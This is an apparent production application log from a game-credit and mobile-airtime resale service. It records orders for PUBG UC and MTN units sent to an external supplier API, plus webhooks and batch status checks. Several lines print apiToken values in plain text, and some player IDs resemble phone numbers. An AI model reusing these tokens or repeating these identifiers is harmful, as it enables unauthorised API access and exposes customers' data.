[2026-03-24 23:11:53] production.INFO: Processed webhook data (normalized) {"id":"ORD-cgC-1774383098","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 23:11:53] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 23:11:53] production.INFO: SendAcceptReject: Notification queued {"user_id":1665,"notification_type":"order_approved","reference_id":179525} 
[2026-03-24 23:11:53] production.INFO: Order updated successfully. Order ID: 179525, Status: completed  
[2026-03-24 23:11:53] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-cgC-1774383098","status":"completed","codes_count":0} 
[2026-03-24 23:11:53] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1665  
[2026-03-24 23:12:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"sEFrPdgXt0ePTErHKky4C9W51dqIrclo","execution_time":"2026-03-24 23:12:02"} 
[2026-03-24 23:12:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"sEFrPdgXt0ePTErHKky4C9W51dqIrclo","execution_time":"2026-03-24 23:12:02"} 
[2026-03-24 23:12:10] production.INFO: Constructing job for order: 179526  
[2026-03-24 23:12:11] production.INFO: Handling job for order: 179526  
[2026-03-24 23:12:11] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 23:12:11] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:12:11] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=1ed8e437-026c-46d7-9037-3ad7e079b0b1&Player_ID=5314643932  
[2026-03-24 23:12:11] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=1ed8e437-026c-46d7-9037-3ad7e079b0b1&Player_ID=5314643932","has_body":false} 
[2026-03-24 23:12:12] production.INFO: Operation sent successfully {"operation_id":164395,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-01IHRkir-1774383132","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 23:12:12"}},"processed_data":{"order_number":"ORD-01IHRkir-1774383132","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 23:12:24] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-01IHRkir-1774383132","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 23:12:24] production.INFO: Processed webhook data (normalized) {"id":"ORD-01IHRkir-1774383132","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 23:12:24] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 23:12:24] production.INFO: SendAcceptReject: Notification queued {"user_id":1540,"notification_type":"order_approved","reference_id":179526} 
[2026-03-24 23:12:24] production.INFO: Order updated successfully. Order ID: 179526, Status: completed  
[2026-03-24 23:12:24] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-01IHRkir-1774383132","status":"completed","codes_count":0} 
[2026-03-24 23:12:27] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1540  
[2026-03-24 23:13:31] production.INFO: Constructing job for order: 179527  
[2026-03-24 23:13:33] production.INFO: Handling job for order: 179527  
[2026-03-24 23:13:33] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 23:13:33] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:13:33] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=99cb5680-f344-4683-9bf9-c9339a0a2919&Player_ID=0945792217  
[2026-03-24 23:13:33] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=99cb5680-f344-4683-9bf9-c9339a0a2919&Player_ID=0945792217","has_body":false} 
[2026-03-24 23:13:34] production.INFO: Operation sent successfully {"operation_id":164396,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-iseyM80M-1774383213","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 23:13:34"}},"processed_data":{"order_number":"ORD-iseyM80M-1774383213","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 23:13:50] production.INFO: Constructing job for order: 179528  
[2026-03-24 23:13:52] production.INFO: Handling job for order: 179528  
[2026-03-24 23:13:52] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 23:13:52] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:13:52] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=b872e0e7-8f9f-4b25-8da7-6945e03ecae9&Player_ID=0968446515  
[2026-03-24 23:13:52] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=b872e0e7-8f9f-4b25-8da7-6945e03ecae9&Player_ID=0968446515","has_body":false} 
[2026-03-24 23:13:52] production.INFO: Operation sent successfully {"operation_id":164397,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-slQC7g-1774383232","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 23:13:52"}},"processed_data":{"order_number":"ORD-slQC7g-1774383232","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 23:14:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"gh2AS12pxjmYGyGXongUlP9dYLaoVy7M","execution_time":"2026-03-24 23:14:01"} 
[2026-03-24 23:14:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"gh2AS12pxjmYGyGXongUlP9dYLaoVy7M","execution_time":"2026-03-24 23:14:01","total_operations":2,"sites_count":1} 
[2026-03-24 23:14:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"gh2AS12pxjmYGyGXongUlP9dYLaoVy7M","execution_time":"2026-03-24 23:14:01","site_id":4,"site_name":"swgamessls","orders_count":2,"order_ids":["ORD-iseyM80M-1774383213","ORD-slQC7g-1774383232"]} 
[2026-03-24 23:14:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"gh2AS12pxjmYGyGXongUlP9dYLaoVy7M","execution_time":"2026-03-24 23:14:01","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 23:14:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"gh2AS12pxjmYGyGXongUlP9dYLaoVy7M","execution_time":"2026-03-24 23:14:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 23:14:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"gh2AS12pxjmYGyGXongUlP9dYLaoVy7M","execution_time":"2026-03-24 23:14:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-slQC7g-1774383232","operation_id":164397} 
[2026-03-24 23:14:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"gh2AS12pxjmYGyGXongUlP9dYLaoVy7M","execution_time":"2026-03-24 23:14:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-slQC7g-1774383232","operation_id":164397,"processed":1,"skipped":1,"updates_prepared":1} 
[2026-03-24 23:14:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"gh2AS12pxjmYGyGXongUlP9dYLaoVy7M","execution_time":"2026-03-24 23:14:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-slQC7g-1774383232","operation_id":164397,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 23:14:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"gh2AS12pxjmYGyGXongUlP9dYLaoVy7M","execution_time":"2026-03-24 23:14:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-slQC7g-1774383232","operation_id":164397,"count":1} 
[2026-03-24 23:14:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"gh2AS12pxjmYGyGXongUlP9dYLaoVy7M","execution_time":"2026-03-24 23:14:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-slQC7g-1774383232","operation_id":164397,"count":1} 
[2026-03-24 23:14:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"gh2AS12pxjmYGyGXongUlP9dYLaoVy7M","execution_time":"2026-03-24 23:14:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-slQC7g-1774383232","operation_id":164397,"user_id":530,"notification_type":"order_approved","reference_id":179527} 
[2026-03-24 23:14:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"gh2AS12pxjmYGyGXongUlP9dYLaoVy7M","execution_time":"2026-03-24 23:14:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-slQC7g-1774383232","operation_id":164397,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 23:14:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"gh2AS12pxjmYGyGXongUlP9dYLaoVy7M","execution_time":"2026-03-24 23:14:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-slQC7g-1774383232","operation_id":164397,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 23:14:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"gh2AS12pxjmYGyGXongUlP9dYLaoVy7M","execution_time":"2026-03-24 23:14:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-slQC7g-1774383232","operation_id":164397,"processed":1,"errors":0} 
[2026-03-24 23:14:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"gh2AS12pxjmYGyGXongUlP9dYLaoVy7M","execution_time":"2026-03-24 23:14:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-slQC7g-1774383232","operation_id":164397,"processed":1,"errors":0} 
[2026-03-24 23:14:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"gh2AS12pxjmYGyGXongUlP9dYLaoVy7M","execution_time":"2026-03-24 23:14:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-slQC7g-1774383232","operation_id":164397} 
[2026-03-24 23:14:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 530  
[2026-03-24 23:15:02] production.INFO: Executing GetProducts task...  
[2026-03-24 23:15:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 23:15:02] production.INFO: Executing GetProducts task...  
[2026-03-24 23:15:04] production.INFO: async() رجع: true  
[2026-03-24 23:15:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 23:15:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 23:15:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 23:15:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 23:15:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 23:15:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 23:15:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 23:15:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 23:15:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 23:15:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 23:15:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 23:16:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"EsrOGXrb55quAbHaihSaJ7MkcLhS7eis","execution_time":"2026-03-24 23:16:02"} 
[2026-03-24 23:16:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"EsrOGXrb55quAbHaihSaJ7MkcLhS7eis","execution_time":"2026-03-24 23:16:02","total_operations":1,"sites_count":1} 
[2026-03-24 23:16:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"EsrOGXrb55quAbHaihSaJ7MkcLhS7eis","execution_time":"2026-03-24 23:16:02","site_id":4,"site_name":"swgamessls","orders_count":1,"order_ids":["ORD-slQC7g-1774383232"]} 
[2026-03-24 23:16:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"EsrOGXrb55quAbHaihSaJ7MkcLhS7eis","execution_time":"2026-03-24 23:16:02","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 23:16:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"EsrOGXrb55quAbHaihSaJ7MkcLhS7eis","execution_time":"2026-03-24 23:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 23:16:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"EsrOGXrb55quAbHaihSaJ7MkcLhS7eis","execution_time":"2026-03-24 23:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-slQC7g-1774383232","operation_id":164397,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 23:16:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"EsrOGXrb55quAbHaihSaJ7MkcLhS7eis","execution_time":"2026-03-24 23:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-slQC7g-1774383232","operation_id":164397,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 23:16:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"EsrOGXrb55quAbHaihSaJ7MkcLhS7eis","execution_time":"2026-03-24 23:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-slQC7g-1774383232","operation_id":164397,"count":1} 
[2026-03-24 23:16:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"EsrOGXrb55quAbHaihSaJ7MkcLhS7eis","execution_time":"2026-03-24 23:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-slQC7g-1774383232","operation_id":164397,"count":1} 
[2026-03-24 23:16:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"EsrOGXrb55quAbHaihSaJ7MkcLhS7eis","execution_time":"2026-03-24 23:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-slQC7g-1774383232","operation_id":164397,"user_id":34,"notification_type":"order_approved","reference_id":179528} 
[2026-03-24 23:16:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"EsrOGXrb55quAbHaihSaJ7MkcLhS7eis","execution_time":"2026-03-24 23:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-slQC7g-1774383232","operation_id":164397,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 23:16:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"EsrOGXrb55quAbHaihSaJ7MkcLhS7eis","execution_time":"2026-03-24 23:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-slQC7g-1774383232","operation_id":164397,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 23:16:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"EsrOGXrb55quAbHaihSaJ7MkcLhS7eis","execution_time":"2026-03-24 23:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-slQC7g-1774383232","operation_id":164397,"processed":1,"errors":0} 
[2026-03-24 23:16:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"EsrOGXrb55quAbHaihSaJ7MkcLhS7eis","execution_time":"2026-03-24 23:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-slQC7g-1774383232","operation_id":164397,"processed":1,"errors":0} 
[2026-03-24 23:16:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"EsrOGXrb55quAbHaihSaJ7MkcLhS7eis","execution_time":"2026-03-24 23:16:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-slQC7g-1774383232","operation_id":164397} 
[2026-03-24 23:16:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 34  
[2026-03-24 23:17:07] production.INFO: Constructing job for order: 179529  
[2026-03-24 23:17:08] production.INFO: SendAcceptReject: Notification queued {"user_id":1751,"notification_type":"request_approved","reference_id":18726} 
[2026-03-24 23:17:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1751  
[2026-03-24 23:17:08] production.INFO: Handling job for order: 179529  
[2026-03-24 23:17:08] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 23:17:08] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:17:08] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=8268f370-7f16-47d9-8787-00433199d5f4&Player_ID=0940379962  
[2026-03-24 23:17:08] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/7/params?qty=1&uuid=8268f370-7f16-47d9-8787-00433199d5f4&Player_ID=0940379962","has_body":false} 
[2026-03-24 23:17:09] production.INFO: Operation sent successfully {"operation_id":164398,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-YD7U6-1774383429","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 23:17:09"}},"processed_data":{"order_number":"ORD-YD7U6-1774383429","amount":31.66008000000000066620486904866993427276611328125,"status":"processing","product":"30 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 23:17:15] production.INFO: Constructing job for order: 179530  
[2026-03-24 23:17:18] production.INFO: Handling job for order: 179530  
[2026-03-24 23:17:18] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 23:17:18] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:17:18] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=de3a766a-3645-4f1d-a195-5de5f4568084&Player_ID=0953714133  
[2026-03-24 23:17:18] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=de3a766a-3645-4f1d-a195-5de5f4568084&Player_ID=0953714133","has_body":false} 
[2026-03-24 23:17:19] production.INFO: Operation sent successfully {"operation_id":164399,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-dH0dhH7T-1774383439","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 23:17:19"}},"processed_data":{"order_number":"ORD-dH0dhH7T-1774383439","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 23:17:27] production.INFO: Constructing job for order: 179531  
[2026-03-24 23:17:28] production.INFO: Handling job for order: 179531  
[2026-03-24 23:17:28] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 23:17:28] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:17:28] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=56928bf7-c499-4580-8b53-b5efadfedfe3&Player_ID=0940379962  
[2026-03-24 23:17:28] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=56928bf7-c499-4580-8b53-b5efadfedfe3&Player_ID=0940379962","has_body":false} 
[2026-03-24 23:17:28] production.INFO: Operation sent successfully {"operation_id":164400,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-U4fZco-1774383448","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 23:17:28"}},"processed_data":{"order_number":"ORD-U4fZco-1774383448","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 23:18:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"CwS9vtDSSwrKAK7GHEzgWyuWlhVw4faS","execution_time":"2026-03-24 23:18:02"} 
[2026-03-24 23:18:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"CwS9vtDSSwrKAK7GHEzgWyuWlhVw4faS","execution_time":"2026-03-24 23:18:02","total_operations":3,"sites_count":1} 
[2026-03-24 23:18:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"CwS9vtDSSwrKAK7GHEzgWyuWlhVw4faS","execution_time":"2026-03-24 23:18:02","site_id":4,"site_name":"swgamessls","orders_count":3,"order_ids":["ORD-YD7U6-1774383429","ORD-dH0dhH7T-1774383439","ORD-U4fZco-1774383448"]} 
[2026-03-24 23:18:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"CwS9vtDSSwrKAK7GHEzgWyuWlhVw4faS","execution_time":"2026-03-24 23:18:02","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 23:18:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"CwS9vtDSSwrKAK7GHEzgWyuWlhVw4faS","execution_time":"2026-03-24 23:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 23:18:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"CwS9vtDSSwrKAK7GHEzgWyuWlhVw4faS","execution_time":"2026-03-24 23:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YD7U6-1774383429","operation_id":164398,"processed":3,"skipped":0,"updates_prepared":3} 
[2026-03-24 23:18:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"CwS9vtDSSwrKAK7GHEzgWyuWlhVw4faS","execution_time":"2026-03-24 23:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YD7U6-1774383429","operation_id":164398,"total_items":3,"chunks":1,"chunk_size":10} 
[2026-03-24 23:18:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"CwS9vtDSSwrKAK7GHEzgWyuWlhVw4faS","execution_time":"2026-03-24 23:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YD7U6-1774383429","operation_id":164398,"count":3} 
[2026-03-24 23:18:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"CwS9vtDSSwrKAK7GHEzgWyuWlhVw4faS","execution_time":"2026-03-24 23:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YD7U6-1774383429","operation_id":164398,"count":3} 
[2026-03-24 23:18:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"CwS9vtDSSwrKAK7GHEzgWyuWlhVw4faS","execution_time":"2026-03-24 23:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YD7U6-1774383429","operation_id":164398,"user_id":1071,"notification_type":"order_approved","reference_id":179530} 
[2026-03-24 23:18:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"CwS9vtDSSwrKAK7GHEzgWyuWlhVw4faS","execution_time":"2026-03-24 23:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YD7U6-1774383429","operation_id":164398,"user_id":1734,"notification_type":"order_approved","reference_id":179531} 
[2026-03-24 23:18:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"CwS9vtDSSwrKAK7GHEzgWyuWlhVw4faS","execution_time":"2026-03-24 23:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YD7U6-1774383429","operation_id":164398,"user_id":1734,"notification_type":"order_approved","reference_id":179529} 
[2026-03-24 23:18:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"CwS9vtDSSwrKAK7GHEzgWyuWlhVw4faS","execution_time":"2026-03-24 23:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YD7U6-1774383429","operation_id":164398,"chunk_number":1,"processed":3,"errors":0,"total_operations":3,"total_orders":3,"total_codes":0,"total_refunds":0} 
[2026-03-24 23:18:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"CwS9vtDSSwrKAK7GHEzgWyuWlhVw4faS","execution_time":"2026-03-24 23:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YD7U6-1774383429","operation_id":164398,"total_processed":3,"total_errors":0,"chunks_processed":1} 
[2026-03-24 23:18:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"CwS9vtDSSwrKAK7GHEzgWyuWlhVw4faS","execution_time":"2026-03-24 23:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YD7U6-1774383429","operation_id":164398,"processed":3,"errors":0} 
[2026-03-24 23:18:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"CwS9vtDSSwrKAK7GHEzgWyuWlhVw4faS","execution_time":"2026-03-24 23:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YD7U6-1774383429","operation_id":164398,"processed":3,"errors":0} 
[2026-03-24 23:18:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"CwS9vtDSSwrKAK7GHEzgWyuWlhVw4faS","execution_time":"2026-03-24 23:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YD7U6-1774383429","operation_id":164398} 
[2026-03-24 23:18:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1071  
[2026-03-24 23:18:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1734  
[2026-03-24 23:18:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1734  
[2026-03-24 23:18:13] production.INFO: Constructing job for order: 179532  
[2026-03-24 23:18:14] production.INFO: Handling job for order: 179532  
[2026-03-24 23:18:14] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 23:18:14] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:18:14] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=3306b2dd-f792-46d3-a3cd-04f48e147d69&Player_ID=52395294976  
[2026-03-24 23:18:14] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=3306b2dd-f792-46d3-a3cd-04f48e147d69&Player_ID=52395294976","has_body":false} 
[2026-03-24 23:18:15] production.INFO: Operation sent successfully {"operation_id":164401,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-uAatttsQ-1774383494","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 23:18:15"}},"processed_data":{"order_number":"ORD-uAatttsQ-1774383494","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 23:18:19] production.INFO: Constructing job for order: 179533  
[2026-03-24 23:18:21] production.INFO: Handling job for order: 179533  
[2026-03-24 23:18:21] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 23:18:21] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:18:21] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/95/params?qty=250&uuid=fb94dd09-4285-492c-9c8a-304c99e8c3d5&Player_ID=EAMREANA  
[2026-03-24 23:18:21] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/95/params?qty=250&uuid=fb94dd09-4285-492c-9c8a-304c99e8c3d5&Player_ID=EAMREANA","has_body":false} 
